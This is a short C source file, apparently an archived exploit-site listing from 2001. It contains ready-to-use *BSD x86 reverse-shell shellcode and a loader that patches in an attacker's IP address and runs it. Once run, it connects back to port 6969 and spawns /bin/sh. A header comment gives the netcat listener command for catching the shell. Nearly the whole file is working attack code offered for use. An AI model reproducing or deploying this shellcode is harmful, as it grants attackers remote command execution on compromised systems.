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C/C++ Source or Header  |  2001-03-24  |  1.5 KB  |  65 lines
  1. /* reverse-portshell *BSD shellcode by noir       */
  2. /* local usage: ./reverse-shell 192.168.2.33      */
  3. /* remote:  nc -n -v -v -l -p 6969                */ 
  4. /* listen on 6969/tcp                  */
  5. /* noir@gsu.linux.org.tr              */
  6.  
  7. char shellcode[] = 
  8. {
  9.   0x31,0xc9,0x51,0x41,   
  10.   0x51,0x41,0x51,0x51,
  11.   0x31,0xc0,0xb0,0x61,
  12.   0xcd,0x80,0x89,0x07,
  13.   0x31,0xc9,0x88,0x4f, 
  14.   0x04,0xc6,0x47,0x05,
  15.   0x02,0xc7,0x47,0x08,
  16.   0xc0,0xa8,0x01,0x45, //ipaddr
  17.   0x66,0xc7,0x47,0x06,   
  18.   0x1b,0x39,0x6a,0x10,
  19.   0x8d,0x47,0x04,0x50,  
  20.   0x8b,0x07,0x50,0x50,
  21.   0x31,0xc0,0xb0,0x62,   
  22.   0xcd,0x80,0x31,0xc9,
  23.   0x51,0x8b,0x07,0x50,   
  24.   0x50,0x31,0xc0,0xb0,
  25.   0x5a,0xcd,0x80,0x41,   
  26.   0x83,0xf9,0x03,0x75,
  27.   0xef,0x31,0xc9,0x51,   
  28.   0x51,0x31,0xc0,0xb0,
  29.   0x17,0xcd,0x80,0xeb,   
  30.   0x23,0x5b,0x89,0x1f,
  31.   0x31,0xc9,0x88,0x4b,   
  32.   0x07,0x89,0x4f,0x04,
  33.   0x51,0x8d,0x07,0x50,   
  34.   0x8b,0x07,0x50,0x50,
  35.   0x31,0xc0,0xb0,0x3b,   
  36.   0xcd,0x80,0x31,0xc9,
  37.   0x51,0x51,0x31,0xc0,   
  38.   0xb0,0x01,0xcd,0x80,
  39.   0xe8,0xd8,0xff,0xff,   
  40.   0xff,0x2f,0x62,0x69,
  41.   0x6e,0x2f,0x73,0x68,   
  42.   0x41
  43. };
  44.  
  45. int
  46. main(int argc, char ** argv)
  47. {
  48.   void (*f) (void);
  49.   unsigned int d;
  50.  
  51.   if(!argv[0])
  52.     exit(0);
  53.  
  54.   d = inet_addr(argv[1]);
  55.   printf("IP: %lx shellcode len: %d\n", d, strlen(shellcode));
  56.  
  57.   shellcode[28] = d & 0xff ;
  58.   shellcode[29] = (d >> 8) & 0xff;
  59.   shellcode[30] = (d >> 16) & 0xff;
  60.   shellcode[31] = (d >> 24) & 0xff;
  61.  
  62.   f =  (void *) shellcode;
  63.   f();
  64. }
  65. /*                   www.hack.co.za  [20 march 2001]*/